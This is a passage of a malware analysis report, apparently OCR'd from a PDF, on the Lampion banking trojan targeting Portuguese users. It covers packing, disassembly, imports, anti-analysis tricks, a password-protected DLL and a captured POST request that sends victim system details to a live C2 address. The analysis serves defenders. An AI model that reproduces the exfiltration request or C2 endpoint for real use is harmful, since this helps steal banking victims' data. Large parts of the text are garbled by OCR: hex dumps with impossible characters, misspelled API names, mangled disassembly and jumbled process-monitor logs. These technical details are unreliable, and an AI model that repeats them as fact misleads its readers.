FADC1008FB4CBC2TE1C5A44ABATI0RET

817E:

AFS1

34E987AB43D581EB3CHB2034265A9FD0 5.541 neutral
B09F50E6G629F9A433534034FF12E65D3 5418 neutral
B1E36C9AT01B0GASBB29ATDFDAGIACCS  5.647 neutral
376DCB66BFO6170359E89B2D6E3C50D9 5.365 neutral
A4CA43D62FCIEBBSBCERO2EIFEDBASTE 2,181 English Uni...
B3DBDFE1833416BBCIF5065BACASACAS  2.019 English Uni...
AFFOF5E372BD49CEBIFE15B9A04CITDF 1.919 English Uni..
48E0B4ACABADDBEAANITBS2394887587 2.019 English Uni...
1AE28D964BA1AZBIB73CDS13A32D4B40  2.019 English Uni...
0893F6BAE0DE2936EBETAB216546CD9A 2019 English Uni...

7.632 English Uni...

first-bytes (hex)
2000 43 00 6C 00 69 00 70 00 62 00 6F

04 00 50 00 67 00 44 00 6E 00 03 0045 ...
02 00 4F 00 4B 00 06 00 43 00 61 00 6E ...
0500 48 00 63 00 &F 00 GE 00 73 0007 ...
350043 00 61 00 6E 00 6E 00 6F 00 74 ...
24005000 610072006500 6E0074 ...
1C0055006E0073 007300700070 ...
170049 00 6E 00 760061 00 6C 00 69 ...

0C 00 57 00 69 00 GE 00 64 00 6F 00

OE 00 48 00 74 D0 65 00 6D 00 20 00 6E ...
3000 53 00 70 00 69 00 6E 00 43 00 6F ...
2D 0043 00 61 00 6E 00 6E 00 6F 00 74 ...
2B 00 4F 00 75 00 74 00 20 00 6F 00 66 ...

1F 00 41 00 20 00 63 00 6C 00 61 00 73

1400 4 00 6E 00 76 00 61 00 6C 00 69 ...
08 00 4E 00 6F 00 76 00 6500 6D D0 62 ...
03004A0075006C000300410075.
1C 004500780063 006500700074 ...
1E/00 48 00 GE 00 76 00 6100 6C 00 63 ...

16 00 50 00 72 00 69 00 76 00 63 00 6C

1700 52 00 65 00 61 00 64 00 2000 62 ...
0900 3C 00 75 00 &E 00 6B 00 6E 00 &F ...
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 4...
89 50 4E 47 0D 0A 1A 0A 0000 00 0D 4...
00010000 000D 00 800003005046 ...
263D4F38C28237BEF3 244203 17...
01000002 000003000004000004 ...
0000 10 CC 00 00 00 00 DB 00 00 00 01...

0100

89 50 4E 47 0D 0A 1A 0A 0000 00 0D 4...
89 504E 47 0D OA 1A 0A 00 00 00 0D 4...
89 504E 47 0D 0A 1A 0A 00 00 00 0D 4...
89 50 4E 47 0D 0A 1A DA 00 00 00 0D 4..
59 50 4E 47 0D 0A 1A 0A 00 00 00 0D 4...
A 54 50 46 30 06 54 46 6F 72,60 310546 ..
54 50 46 30 OF 54 50 61 74 68 44 63 61 ...
54504630 0A 54 73 43 61 6C 63 46 6F ...
54504630 115473 43 6F 6C 6F 7244 .
545046 30 0F 54 73 50 6F 70 7570 43 ...
000002 00 010028 1020004000 00 ..
000002 00 01 00 20 00 40.00.0100 01 ..
00 0002 00 01 00 20 00 40 00010001 ...
000002 00 010020004000010001 ...
000002 00 01 00 20 00 40.00.0100 01 ..
0000 02 00 01 00 20 00 40 00 0100 01 ..

As noted from Figure 22, all the source-code logic is available within a feature called TFORM1, a Delphi form.
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Compiler Versions

Go Up to Conditional compilation (Delphi)

The following table lists the version number associated with each release of Delphi compilers, beginning with Turbo Pascal
4.0 and ending with the current version of the compiler:

Delphi
Product
conditional Package Version CompllerVersion
Version
VER<nnn>
Delphi 10.3 Rio /
VER330 ) : 26 260 33.0
C++Builder 10.3 Rio
Delphi 10.2 Tokyo /
VER320 25 250 32.0

C++Builder 10.2 Tokyo

Figure 23: Details about Embarcaredo.

However, once the malware is protected with VMProtector, it is not possible to decompile the binary source-code.

Disassembling — Deep inside

By disassembling it, it is possible to get a binary dump by indicating the potential OEP (original entry point). Although part
of the binary code remains obfuscated and protected, through this technique, it was possible to get some details about the
inner structure of the malware.

e BEFF mov_edi,edi VirtualProtect
.7 5E push ebp
. BBEC mov ebp,esp
. 51 push ecx
. 5 push ecx
. SB45 0OC mov eax,dword ptr ssillebp+Cl
. 56 push esi si:sub_7FAZAB+CE
. FF75 14 push dword ptr ss:|[febp+14f
. 8945 FC mov dword ptr ss:i|febp-4],eax
. FF75 10 push dword ptr ss:[Qebp+10f
. SE45 08 mov eax,dword ptr ssifebp+al
. 5345 Fa mov dword ptr ss:|lebp-8f,eax
. 8045 FC 1ea eax,dword ptr ss:[[ebp-4l
. 4] push eax
. 8045 F3 1ea eax,dword ptr ss:[lebp-20
. 4] push eax
. BA FF push FFFFFFFF
. FF15 24374077 €all dword ptr ds:[<2ZwProtectvirtualMmemory=]
. BEFO mov esi,eax esiisub_7FAZASHCE
. 85F6 test esi,esi esi:sub_7FA2ZAB+CE
--. ~ OF88 31CFO200 js kernelbase.77381E75
. = 33ICO XOr eax,eax
. 40 inc eax
. = GSE pop esi esiisub_7FAZASHCE
. BBES mov esp,ebp
. D pop ebp
. C2 1000 BEE 10 virtualprotector
& F73I54F4E CC int3
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~ 74 B5 .83 (1) EThunk: NNE0ECD 7
0 &D
0 0200 Show Invalid Show Suspect Clear
0 0000
IAT Info Actions Dump
oEP [ 00401000 | [3AT Autosearch Autotrace Dump | PERebuid
151011 #411 va | 007C3010 |
= Get Imports i

Boump3 §boumps  SEoumpS  sze [o00iE31s | Fix Dump

01 08 52 GB|6F 72 74 4
F FF 7F (00 00 0O 02|00 00 00 { Ly
3 b 03|60 55 65 00|AD 1o 45 d |oetApByVirtualAddress :: No Api found 6FD6 D59 A
5 &7 65|72 04 00 00|00 80 FF FH getApiByVirtualAddress :: Mo Api found 76BE4686

01 04 42 79|74 85 01 ( getApiByVirtualAddress :: Mo Api found 75B54585

00 00 00 00|0D0 10 40 g aetApiByVirtualAddress :: Mo Api found 756F 7920
A s oy oo 00 FRIEEL0O08 |1AT parsing finished, found 567 valid APIs, missed 4733 APIs
o o0 FFIFF FE FF 02|00 o0 00 d DIRECT IMPORTS - Found 0 possible direct imports with 0 unigue APIs!

1 -= 00401000 (000000001 bytes)

Imports: 5306 ¥ Invalid: 4739

Imagebase: 00400000

P-19-2.exe

Figure 24: Dumping the binary code, building the binary IAT and get internal details on how it works.

The extracted file has its partial IAT messed up and the name of each function does not appear because its respective

virtual addressing is necessary to convert it to a raw addressing. This is a result of the VMProtector 3.x.

After the partially unpacked binary, we can see some functions it is using, namely:

ShowWindow: Sets the specified window’s show state.
GetWindowTextW: Copies the text of the specified window’s title bar.
IsDialogMessageW: Determines whether a message is intended for the specified dialog box.
GetDesktopWindow: Retrieves a handle to the desktop window.
GetCursorPos: Retrieves the position of the mouse cursor, in screen coordinates.
GetMenuState: Retrieves the menu flags associated with the specified menu item.

GetKeyboardLayoutNameW: Retrieves the name of the active input locale identifier.

OpenClipboard: Opens the clipboard for examination.
EnumDisplayMonitors: It enumerates display monitors.

kel

|l
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Module Name Imports OFTs TimeDateStamp | ForwarderChain | Name RVA FTs (IAT)
DO3EAAFF MN/A DO3ECF10 D03ECF14 DO03ECH18 DO3ECHIC D03ECF20
szAnsi (nFunctions) Dword Dword Dword Dword Dword
winspool.drs 5 003F3905 00000000 0000000 003F3221 DO3EFOD0
cometl32.dil 36 00D3F391D 00000000 00000000 003F7636 0D3EFD18
shell32.dll 7 003F39B1 00000000 00000000 003F189C OD3EFDAC
version.dll 8 003F3D25 00000000 00000000 003F239A 0D3EF420
oleaut32.dil 12 003F3D35 00000000 00000000 0D3EE962 0D3EF430
advapid2.dil 17 00D3F3D63 00000000 00000000 0D3F4AAC OD3EF464
netapid2.dil 2 0D3F3DB1 00000000 00000000 00D3F193D OD3EF4AC
msvert.dil [ 0D3F3DBD 00000000 00000000 0D3FART2 OD3EF4E2
kernel32.dll 143 00D3F3DDY 00000000 00000000 00D3F131D OD3EF4D4
oled2.dll 8 003F4031 00000000 00000000 0D3FAA4G 0D3EFT2C
gdi32.dil 112 003F4035 00000000 00000000 0D3F98E4 OD3EFT50
kernel32.dll 1 003F4219 00000000 00000000 00D3F131D 0D3EF914
OFTs FTs (IAT) Hint Mame
003E6289 0D3E1984 0D3ET1B5 0D3E71B7
Dword Dword Word szAnsi
003F18A8 0D3F18A8 0000 CallNextHookEx
003F5016 003F5016 0000 ShowWindow
003F103A 003F103A 0000 SetForegroundWindow
0D3F835E 0D3F835E 0000 GetWindowTedW
003F322E 003F322E 0000 GetWindowTextLengthW
003F23B0 003F23B0 0000 lsDialogMessageW
003F8100 003F8100 0000 DestroyWindow
0D3F6TB3 0D3F6TB3 0000 RegisterClassW
003FAG46 DD3FAB46 0000 EndMenu
0D3F5CES 003F5CES 0000 CharNextW
0D03F8553 003F8553 0000 GetFocus
003FA481 0D3FA421 0000 GetDC
003FARID 003FABID 000D GetkeyMameTexdW
003F72A9 003FT2A% 0000 SetCursorPos
003F179B 003F179B 0000 GetCursorPos
003F3374 003F3374 0000 SethMenu
003FAOFE 003FAOFE 0000 GethMenuState
DO3EE420 D03EE420 0000 GetMenu
003F1EFY 003F1EFT 0000 GetKeyboardLayoutMameW
003F7B10 003F7B10 0000 OpenClipboard
003FATT2 003FA1T2 0000 TranslateMessage
003F143A 003F143A 0000 MapWindowPoints

003FEE11 003F6E11 D00 CallWindowProcW
003F39A3 003F29A3 0000 CountClipboardFormats
0D03F13A4 0D03F13A4 D00 CleseClipboard

Figure 25: Functions used to get details about the victim’s computer.

During the static analysis, we identified some functions such as HideFromDebugger and IsDebuggerPresent, and even

the library SBIEDLL.DLL which aims to detect if the program is running in a virtual environment.
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Lampion — Dynamic Analysis

At the moment, the file 0.zip has not been used (the second one that was downloaded and presented in Figure 16).

When the Lampion is running, it will try to read the 0.zip file from the same directory where it is executing (AppData, in this

case).

Process Mame
8 P-19-2.exe

P Operation Path Result Detail

3 BaReadFlle C:\Users'root \Desktop ' P-19-2 exe SUCCESS
3 BaReadFlle C:\Users'root \Desktop P-19-2 exe
3 ~

D Ac d

NAME NOT FOUND

C:\Users'root \Desktop0

Offzet: 2,475,008, Leng
Offset: 2,442,240, Leng

Desired Access: Read /

Figure 26: 0.zip file not found and a popup message is presented. The malware
terminates its execution.

The 0.zip file was not found (the second file downloaded by VBScript). By
submitting the executable file to sandboxes on the Internet, it will never be run
derived from this dependency. This can be seen as a mechanism for a dynamic
analysis not to be performed properly.

By fixing this detail, we can validate that malware actually can read the file.

B P-19-2.exe 3 BaReadFlle C:\Users'root \Desktop ' P-19-2 exe SUCCESS Offzet: 2,290,688, Leng
B P-19-2.exe 3 BaCreateFlle C:\Users'root\Desktop0.zip SUCCESS Desired Access: Gener
B P-19-2exe 3 B«Createl—"lle C:\Users root \Desktop SUCCESS Desired Access: Read /
B P-19-2exe 3 Ba@uewBasiclrrfor...C:\Users\roo’[\[leslctop SUCCESS CreationTime: 9/7/201¢
B P-19-2exe 3 BaCIoseFile C:A\Users'root\Desktop SUCCESS
B P-19-2exe 3 %CIoseFile C:A\Users root\Desktop zip SUCCESS

7 B QueryStandardl...C-\Users oot App Data \Local Microsaft\Windows \E.. SUCCESS

AllocationSize: 3,145, EndCfFile

NumberOfLinks: 1, DeletePending: Fals
rse Point, Attrib hareMode: Read,
, LastAccessTime: 12/19/2019 10:32:

Directory: False

De: ead, Allocati 2
CreationTime: 12/15/2019 10:25:24 P LastWrite Time: 12/18/2018 7:18:22 PM, ChangeTime: 12/19/2019 10:31:4.

Desired Access: Read Attributes, Dispostion: Open, Options: Open Reparse Point, Atributes: n/a, ShareMode: Read, Wite, Delete, AlocationSize: n/a, OpenRies
CreationTime: 12/18/2019 10:25:24 P, LastAccessTime: 12/19/2019 10:32:57 PM, LastWrite Time: 12/19/2019 7:18:22 PM, Change Time: 12/19/2019 10:31:4..

Desired Access: Read Attibutes, Dispostion: Open, Options: Open Reparse Paint, Aftibutes: n/a, ShareMode: Read, Wrte, Delete, AlocationSizs: n/a, OpenRes...
CreationTime: 12/18/2015 10:25:24 P, Last AccessTime: 12/18/2015 10:32557 PM, LastWrte Time: 12/19/2018 7-18:22 PM, ChangeTme: 12/13/2019 10:31:4,

Desired Access: Generic Read, Disposition: Open, Options: Synchronous 10 Non-Alert, Non-Directory File, Attributes: N, ShareMode: Read, Wiite, AllocationSize: n.

Desired Access: Generic Read, Dispostion: Open, Options: Synchronaus 10 Non-Alett, Non-Directory File, Attrbutes: N, SharsMode: Read, Wrte, AlocationSize: n.
Desired Aecess: Read Attibutes, Dispestion: Open, Options: Open Reparse Paint, Attibutes: n/a, ShareMode: Read, Wrte, Delete, AlocationSize: n/a, OpenRies...
CreationTime: /7/2018 2.02:13 PM, LastAccessTime: 12/18/2015 10:36:52 PM, LastWite Time: 12/19/2018 10:29-23 PM, Change Time: 12/19/2019 10:28:23

e E
7 siclnfor..C-\Users oot Deskiop'0.zip SUCCESS 57FM,

10:36... M P192exe 7 BAClesefile C:\Users oot \Deskiop\0.zip SUCCESS

10:36:... M P132exe 7 BhCreateFie C:\Users\voot \Deskiop\0.zip SUCCESS

10:36... M P192exe 7 B\ QueryBasicinfor...C:\Users'root \Desktap'0.zip SUCCESS

10:36:... M P132exe 7 C:\Users\voot \Deskiop\0.zip SUCCESS

10:36... M P192exe 7 C:\Users oot \Deskiop\0.zp SUCCESS

10:36:... M P132exe 7 BhQueryNetwork .. C\Users'root\Desktop'0.zip SUCCESS

10:36... M P192exe 7 BAClesefile C:\Users oot \Deskiop\0.zp SUCCESS

10:36:... M P132exe 7 BhCreateFie C:\Users\voot \Deskiop\0.zip SUCCESS

10:36... 8 P132exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 0, Length: 4, Prority: Nommal

10:36:... M P132exe 7 EhReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Cffset: 0, Length: 4,096, 1/0 Flags: Non-cached, Paging I/0, Priorty: Norml

10:36... 8 P132exe 7 Ba dardl...C:\Users oot \Deskiop\0.2p SUCCESS AlocationSize: 5,156,864, EndOfFile: 5,156,017, NumberOfLinks: 1, DeletePending: False, Directory: False

10:36:... M P132exe 7 EhReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,935, Length: 22

10:36... 8 P132exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 5,152,768, Length: 3,249, 1/0 Flags: Non-cached, Paging /0, Priorty: Nomal

10:36:... M P132exe 7 EAReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,935, Length: 22

10:36... 8 P132exe 7 BAClesefile C:\Users\root \Deskiop\0.2p SUCCESS

10:36:... M P132exe 7 BhCreateFie C:\Users\voot \Deskiop\0.zip SUCCESS

10:36... 8 P132exe 7 BACreateie C:\Users\root \Deskiop SUCCESS

10:36:... M P132exe 7 B QueryBasiainfor..C\Users oot \Deskiop SUCCESS

10:36... 8 P132exe 7 BAClesefile C:\Users\root \Deskiop SUCCESS

10:36:... M P132exe 7 Bha dardl...C:\Users\voot \Desktop\0.zip SUCCESS AlosationSize: 5,155 864, EndOfFie: 5,156,017, NumberOfLinks: 1, DeletePending: False, Directory: False

10:36... 8 P132exe 7 BhReadfic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 0, Length: 4, Prority: Nomal

10:36:... M P132exe 7 Bha dardl...C:\Users\oot \Desktop\0.zip SUCCESS AlosationSize: 5,156 864, EndOfFile: 5,156,017, NumberOfLinks: 1, DeletePending: False, Directory: False

10:36... 8 P132exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 5,155,995, Length: 22

10:36:... M P132exe 7 EhReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,935, Length: 22

10:36... 8 P132exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 5,155,880, Length: 4

10:36:... M P132exe 7 EhReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,384, Length: 2

10:36... 8 P132exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset;: 5,155,836, Length: 2

10:36:... M P132exe 7 EhReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,338, Length: 2

10:36... 8 P132exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 5,155,890, Length: 2

10:36:... M P132exe 7 EhReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,332, Length: 2

10:36... 8 P192exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 5,155,894, Length: 2

10:36:... H P132exe 7 BAReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,336, Length: 4

10:36... 8 P192exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 5,155,900, Length: 4

10:36:... H P132exe 7 BAReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,904, Length: 4

10:36... 8 P192exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset;: 5,155,908, Length: 2

10:36:... H P132exe 7 BAReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,910, Length: 2

10:36... 8 P192exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 5,155,912, Length: 2

10:36:... H P132exe 7 BAReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,914, Length: 2

10:36... 8 P192exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 5,155,916, Length: 2

10:36:... H P132exe 7 BAReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,918, Length: 4

10:36... 8 P192exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 5,155,922, Length: 4

10:36:... H P132exe 7 BAReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 5,155,926, Length: 33

10:36... 8 P192exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 5,155,959, Length: 36

10:36:... H P132exe 7 BAReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 0, Length: 4

10:36... 8 P192exe 7 BhReadfiic C:\Users\root \Deskiop\0.2p SUCCESS Offset: 4, Length: 2

10:36:... H P132exe 7 BAReadfie C:\Users\voot \Deskiop\0.zip SUCCESS Offset: 6, Length: 2

1nae goi1an Bandil PNTINS ; e Cffeat 8 Lanciin 2

Figure 27: 0.zip file is now accessed by Lampion and its content is loaded.

The 0.zip file is a compressed file with a DLL inside it with additional code. But the file is protected with a password. Only

the 2nd stage (Lampion) has that password inside.
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[Bz] 0% Extracting C:\Users\root\Desktop\0.zip

Elapsed time:
Remaining time:
Files:
Compression ratio:

Extracting

T8 —BEFEI A A B

Total size:
Speed:
Processed:
Compressed size:

Enter password

Enter password:

X

Show password

Background

Figure 28: 0.zip file protected by a password hardcoded inside the malware 2nd stage (Lampion trojan).

This can be seen as yet another anti-reversing mechanism introduced by malware authors.

To get details about the library inside the 0.zip file, we analyzed the 2nd stage and identified the right moment the file is
unzipped to obtain the password hardcoded from memory (as it is obfuscated).

. 5345 FO mov dword ptr ss:|febp-10f,eax 5

. B2 01 mov dl,1 J all| [TEE G

. Al F4304400 mov eax,dword ptr ds:[<sub_4480F4>] 1

: = E B ioms" SoBeas hardcoded password EAX  0013rES0

. 8945 FC mov dword ptr ss:|[febp-4],eax ECx 00000000

. 3302 xor edx,edx EDX  00000DDD

. 55 push ebp

. 68 A25F7BOO push <p-19-2.sub_7B5FA2> EBP 0019FEA4

. G4:FF32 push dword ptr : [edx] ESP O0L3FESC

. 64:8922 mov dword ptr : [edx],esp ESI 00610950

. BA EOSF7BOO mov edx,p-19-2.7B5FED 7BSFED: " PTPPTPTPPTTTIT, YT T YT TLATTTTTT EDI 007F1200

. SB45 F4 mov_eax,dword ptr ss:

. ES 376CEAFF €all <p-19-2.sub_g5 EIP 0O7BSEOG

. BD55 ES Tea edx,dword ptr

. Al CB717DOO mov eax,dword ptr d EFLAGS 00000344

. BBOD mov_eax,dword ptr d ZE 1 PFF 1 AF O

. E8 B4GAEGFF €811 <p-19-2.sub_g1CBAC> OF D SF O DF O

. SB45 ES mov eax,dword ptr

. 8D55 EC lea edx,dword ptr @F & TFa uF A

L] ES8 E112C7FF E&1 <p-19-2.sub_4270E4>

. 8D45 EC lea eax,dword ptr f'l LastError 0000000

(L] BA 0CEOFBOO mov_edx,<p-19-2.sub. FBEOOC:L"™\MNO.Zzip" 4— e LastStatus COO0008

. EB 4051C5FF call p-19-2.40AF50 w

] RREL FC mov edy_dword ntr ==:Behn-140 G5 D02E F5 0053

>
PPTTTT, PP PPPTTLATTITIT Default (stdcall)
4_ 1: [espt+4] OO7BSFA!

19-2. exe: $3B5DDC #3B51DC 2: [esp+8] OODL9FEA:
3: [esp+C] OO019FEA¢
4: [esp+10] O007BSF¢

np 2

@ Dump3 @4 Dump 4

Woumps @ watch1  [x=lLocals ;}:’ Struct

O0D19FEGSB
D07BSFAZ

p-19-2.

0019FEA4

3F
3F
o0
00

00

oo
0
00

3F 3F 3F 3F
IF 3F 3IF 74
FF FF FF FF
£3 00 70 00

3F 3F 2F 3F
61 3F 3F 3F
06 00 00 00
00 00 00 00

42 00 63 00
FF FF FF FF
6E 00 72 00

BO 04 02 00
72 00 72 00

3F 3F 2C 3F
3F 3F 3F 00
5C 00 30 00
44 00 6F 00

1E 00 00 00
20 00 72 00

/

I3 14 64 00 2C 0O

20 00 77 00

Figure 29: Password of 0.zip file extracted from memory.

0019FEAC
007B5FC4
O019FEA4
007F1200
00610950
041A36B0
00000000
00000000

AnAAAAAA

p-19-2.sub_7B5FC4

p-13-2.
p-13-2.

EntryPoint
sub_61094D+3

sub_7B5FA2

After extracting the files, we can see that its name has Chinese characters. Through the translated message “Your group
of Portuguese suckers’ we can conclude that this threat is targeting Portuguese citizens.

CHINES - DETECTADO

INGLES PORTUGUES FRANCES

RN—B g E T ARRAE

@

v

ap

{RI—BEREFA 0.zip
B
- PORTUGUES INGLES FRANCES v

X

Your group of Portuguese suckers
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Figure 30: Message left by criminals indicating that the threat is targeting Portuguese citizens.

Again, this file is also protected with VMProtector 3.x. This can be observed in Figure 31.

’_I_l_l_l_'_l_l_l_l_'_l_l_l_l_'_l_l_l_l_'_l_l_l_l_'_l_l_l_l_‘
1] 1e+06 2e+06 3e+06 4e+06 Se+06 6e+06

Figure 31: 0.zip file sections.

As shown, most of the file content and EP address are located in the vmp01 section. From Figure 32, we can observe the

DLL export address table (EAT).
Figure 32: Export Address Table (EAT) from the DLL inside 0.zip.

That DLL contains part of the trojan code. Those functions are imported
from this DLL. Some of the available functions are:

« WNetUseConnectionW: It makes a connection to a network
resource.

« WNetGetConnectionW: This function retrieves the name of the
network resource associated with a local device.

« WNetAddConnection2W: This function makes a connection to a
network resource and can redirect a local device to the network
resource.

» SHGetFolderPathW: Gets the path of a folder identified by
a CSIDL value.

» FilterSendMessage: This function sends a message to a kernel-
mode minifilter.

« FilterConnectCommunicationPort: It opens a new connection to
a communication server port

« DoThisBicht: Function invoked when the DLL file is loaded.

» CryptUIDIgCertMgr: It is a function that displays a dialog box that
allows users to manage certificates.

« CallFormPrincipal: It has the source-code logic about keylogger
and C2.

In detail, we can examine all the malware operations while we open a browser for accessing a home banking website (the

dbkFCallWrapperAddr

_ dbk_feall_wrapper
WhetUseConnection\W
WhNetGetConnectionW
WHNetCancelConnection2W
WhNetAddConnection2W
WhetAddConnection2 4
VerQueryValueW
VerQueryValued
TMethodimplementationintercept
SHGetFolderPath'W
GetMappedFileMameW
GetFileVersioninfoW
GetFileVersienInfoW
GetFileVersionInfoSizeW
GetFileVersienInfoSize&
GetFileVersionInfol
FilterSendMessage
FilterConnectCommunicationPort
DoThisBicht
CryptUlDIgCertMgr
CallFormPrincipal

malware is activated during the https operation because the certmgr.exe is launched).

An interesting detail found on “CallFormPrincipal” is the request method and C2 IP address.

1. $_POST=&plug=NAO&sowin=Windows%207%20Home%20Premium%20-%206.1%20-%207601

2. hxxp://18.219.52.4/PT/VaiPostaProPai.php
It also validates the windows hosts file to check the remote system discovery.

1. C:\Windows\System32\drivers\etc\hosts
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During malware execution, we verify that it collects data from clipboard, disk, browsers, and sends the details via a
request to the C2 server available on the Internet.

|l ‘tcp.stream eq 12 [<[=] -]

No. Time Source Destination Protoci Length Info

. 702448 192.168.2.5 18.219.52.4 185 POST /PT/VaiPostaProPai.php HTTP/1.@ application/x-www-Torm-urlencoded
43844 154.814428 18.219.52.4 192.168.2.5 HTTP 281 HTTP/1.1 2608 OK (text/html)
43028 154.483536 192.168.2.5 18.219.52.4 TCP 66 49712 —~ 80 [SYN] Seq=0 Win=64240 Len=0 M55=1460 WS5=256 SACK_PERM=1
43032 154.592148 18.219.52.4 192.168.2.5 TCP 66 80 — 49712 [SYN, ACK] Seq=0 Ack=1 Win=26883 Len=8 MSS=1203 SACK_PERM=1 W5=128
43033 154.592529 192.168.2.5 18.219.52.4 TCP 54 49712 — 80 [ACK] Seg=1 Ack=1 Win=66048 Len=0
43034 154.593507 192.168.2.5 18.219.52.4 TCP 332 49712 - 80 [PSH, ACK] Seg=1 Ack=1 Win=66048 Len=278 [TCP segment of a reassemb.
43840 154.7082033 18.219.52.4 192.168.2.5 TCP 54 88 — 49712 [ACK] Seg=1 Ack=279% Win=28032 Len=0
43843 154.811004 18.219.52.4 192.168.2.5 TCP 54 88 — 49712 [ACK] Seg=1 Ack=418 Win=29856 Len=0
43045 154.860879 192.168.2.5 18.219.52.4 TCP 54 49712 — 80 [ACK] Seq=410 Ack=228 Win=65792 Len=0
43046 159.819583 18.219.52.4 192.168.2.5 TCP 54 80 — 49712 [FIN, ACK] Seq=228 Ack=410 Win=29056 Len=0
43047 159.819695 192.168.2.5 18.219.52.4 TCP 54 49712 — 80 [ACK] Segq=410 Ack=229 Win=65792 Len=0

1

} Frame 43041: 185 bytes on wire (1480 bits), 185 bytes captured (1480 bits)
» Ethernet II, Src: c2:57:13:5d:3c:65 (c2:5F:13:5d:3c:65), Dst: 0a:00:27:00:00:00 (Pa:00:27:00:00:00)
» Internet Protocol Version 4, Src: 192.168.2.5, Dst: 18.219.52.4
» Transmission Control Protocol, Src Port: 48712, Dst Port: 80, Seq: 279, Ack: 1, Len: 131
b [2 Reassembled TCP Segments (409 bytes): #43034(278), #43841(131)]
~ Hypertext Transfer Protocol
» POST /PT/VaiPostaProPai.php HTTP/1.0%\r\n
Connection: keep-aliveirin
Content-Type: application/x-www-form-urlencodedirin
Content-Length: 131\r\n
Host: 18.219.52.4%r\n
Accept: text/html, applications/xhtml+xml,application/xml;q=0.9,*/*;g=0.8\r\n
User-Agent: Mozilla/s3.@ (compatible; Indy Library)\rin
Arin
[Full request URI: http://18.219.52.4/PT/VaiPostaProPai.php]
[HTTP request 1/1]
[Respense in frame: 43044]
File Data: 131 bytes
¥ HTML Form URL Encoded:
"

-

application/x-www-form-urlencoded
"

» Form item: "plug® NAQ"

» Form item: " " Windows 1@ (Version 10.@, Build 17134, 64-bit Edition)"
p Form item: "AVS" = "Windows Defender"

» Form item: "USERPC" = "Gucci - B888683"

» Form item: "NAV" = ""

» Form item: "ORI" = "1.4"

Wireshark - Follow TCP Stream (tcp.stream eq 12) - dump-75819e8456648b85753f92cbd71ael02.pcap

POST /PT/VaiPostaProPai.php HTTP/1.0

Connection: keep-alive

Content-Type: application/X-www-fTorm-urlencoded

Content-Length: 131

Host: 18.219.52.4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8
User-Agent: Mozillas3.8 (compatible; Indy Library)

plug=NAD&SYS=Windows+168+%28Version+10. 0%2C+Build+17134%2C+64-bit+Edition%29&AVS=Windows+Defender 8USERPC=Gucci+-
+BBB6B3ENAV=E0RI=1.4HTTP/1.1 200 OK

Date: Thu, 26 Dec 2019 ©1:31:36 GMT

Server: Apaches2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntud.29

Content-Length: 3

Keep-Alive: timeout=5, max=108

Connection: Keep-Alive

Content-Type: text/html

Figure 33: POST request sent to the C2 available online with details about the victim’s computer.

Lampion — C2 portal

On server C2, a portal is available that we did not have access to, however, it was possible to collect some interesting
details.

An interesting indicator is that this banking trojan does not have a high detection rate, and can easily run and make
persistent on victims’ computers.

For example, the URL where the victim data is sent (the POST request) is not identified as malicious by the antivirus
agents at the moment of writing this report.
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(-/) No engines detected this URL =

http:/18.219.52.4/PT/VaiPostaProPai.php 200 text/html 2019-12-26 18:40:10 UTC
18.219.52.4 Sratus Content Type a moment ago @
Community
Score
DETECTION DETAILS COMMUNITY
——
ADMINUSLabs () Clean AegisLab WebGuard (#) Clean
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Avira (no cloud) () Clean BADWARE.INFO ¥} Clean

- S A — . S

Figure 34: C2 server not detected on VirusTotal.

As shown, the login page this panel can be accessed and a username and password are required.

© | & 18.219.52.4/PT/index.php e ohe 7

Administracédo V 0.0.1

Usuario
Senha

Cancel

Figure 35: Login page of C2 panel.

Based on some paths available on the server-side, we can find that this is a portal already known and shared in the past
by David Montenegro along his analysis.

Figure 36: Details on the C2 portal (flags that identified the
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14:10 - 20 de set de 2018

Veja outros Tweets de David Montenegro

As observed, the panel has details about the victim, namely:

« Country;

« Date and hour of access;
« Operating System;

« Computer Name;

« Installed antivirus engine;
« Version; and

» Plugin.

Administracio! .

| 404 Not Found
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Figure 37: Images about the potential C2 portal.

We contacted Amazon Web Services (AWS) to decommission the domains and C2 server before publishing the article,
ensuring, thus, that the threat has been contained in a good way and by preserving the victim’s information. Nonetheless,
malicious endpoints are still active at the moment of writing this report.

Lampion — Mitre Att&ck Matrix

Mitre Att&ck Matrix
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Link Interface Existing Information a Discovery Software Capture Transfer Used Port

Service Size Limits
Spearphishing Scripting Path Scheduled Task  Software Packing Two-Factor System Information Pass the Email Exfiltration Uncommanly
